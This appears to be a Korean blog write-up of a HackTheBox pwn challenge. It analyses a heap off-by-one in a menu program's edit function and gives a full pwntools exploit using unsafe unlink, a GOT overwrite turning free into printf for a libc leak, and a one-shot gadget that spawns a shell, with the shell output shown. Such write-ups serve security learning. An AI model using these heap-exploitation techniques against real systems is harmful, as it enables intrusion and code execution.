Summary
poison NULL byte
Unsafe Unlink
Analysis
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int select; // eax
__int64 buf; // [rsp+0h] [rbp-10h]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
buf = 0LL;
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4uLL);
select = atoi(&buf);
if ( select != 2 )
break;
edit();
}
if ( select > 2 )
{
if ( select == 3 )
{
delete();
}
else
{
if ( select == 4 )
exit(0);
LABEL_13:
puts("Invalid choice!");
}
}
else
{
if ( select != 1 )
goto LABEL_13;
allocate();
}
}
}
그냥 무난한 메뉴첼린지 힙문제이다.
취약점은 edit
에서 발생한다.
edit()
unsigned __int64 edit()
{
size_t size; // ST08_8
int index; // [rsp+4h] [rbp-1Ch]
__int64 buf; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
index = atoi(&buf);
if ( index >= 0 && index <= 15 )
{
if ( ptr[index] )
{
size = strlen(ptr[index]);
printf("Data: ", &buf);
read_str(ptr[index], size);
puts("Done!");
}
else
{
puts("No UAF for you!");
}
}
else
{
puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ canary;
}
수정할 때 사이즈를 strlen(ptr[index])
로 검사한다.
즉 0x18,0x28
이런식으로 입력하고 버퍼를 꽉꽉 채우면 prev_size
와 inuse bit
를 조질 수 있다.
그리고 전역변수에서 chunk
를 관리하므로, 그냥 unsafe unlink
했다.
생각해보면 poison NULL byte
로 패빈덥 해도 될 듯 하다.
Exploit
문제에서는 show
와 같은 출력 메뉴가 주어지지 않는다.
따라서 나는 free
함수의 got
에 printf
함수의 plt
를 넣은 후 FSB
를 만들었다.
힙의 내용에 %p%p%p%p
와 같이 넣어두고 이를 free
하면 FSB
를 트리거 시킬 수 있다.
릭을 수행 한 후에는 free
함수에 got
에 oneshot gadget
을 넣어 쉘을 획득했다.
from pwn import *
#context.log_level = "debug"
binary = "./chapter1"
e = ELF(binary)
libc = e.libc
r = process(binary)
#r = remote("docker.hackthebox.eu",32495)
go = lambda x: r.sendafter(">> ",str(x))
go2 = lambda x: r.sendafter(": ",str(x))
def allocate(size,data):
go(1)
go2(size)
go2(data)
def edit(index,data):
go(2)
go2(index)
go2(data)
def delete(index):
go(3)
go2(index)
ptr = 0x0000000006020C0
log.info("ptr (1): " + hex(ptr))
ptr += 8*3
log.info("ptr (2): " + hex(ptr))
allocate(0x88,"A"*0x88)
allocate(0x88,"B"*0x88)
allocate(0x88,"C"*0x88)
allocate(0x88,"D"*0x88)
allocate(0x88,"E"*0x88)
fake = p64(0) * 2 + p64(ptr - 0x18) + p64(ptr - 0x10)
fake = fake.ljust(0x80,"X")
fake += p64(0x80) + "\x90"
edit(3,fake)
delete(4)
edit(3,p32(e.got["free"]))
edit(0,p64(e.plt["printf"]) + "A"*8)
allocate(0x88,"%15$p")
delete(4)
libc_base = int(r.recv(14),16)
libc_base -= libc.symbols["__libc_start_main"] + 240
log.info("libc_base : " + hex(libc_base))
edit(3,p32(e.got["malloc"]))
edit(0,p64(libc_base + 0xf1147))
go(1)
go2(123)
hackthebox 도 은근히 재미있는듯.
Shell
juntae@ubuntu:~/wargame/hackthebox/chapter1$ p local.py
[*] '/home/juntae/wargame/hackthebox/chapter1/chapter1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './chapter1': pid 3678
[*] ptr (1): 0x6020c0
[*] ptr (2): 0x6020d8
[*] libc_base : 0x7f7f2bdb3000
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)
'System Hacking ( pwnable ) > ETC' 카테고리의 다른 글
[pwn] vtable check bypass (0) | 2020.01.07 |
---|---|
[pwn] SROP(Sigreturn Return Oriented Programming) (0) | 2020.01.07 |
[pwn] _rtld_global overwrite ( _dl_fini overwrite ) (0) | 2019.11.09 |
[RootMe] Stack buffer overflow basic 1 ( write-up ) (0) | 2019.08.22 |
[Heap] fastbin dup consolidate (0) | 2019.08.01 |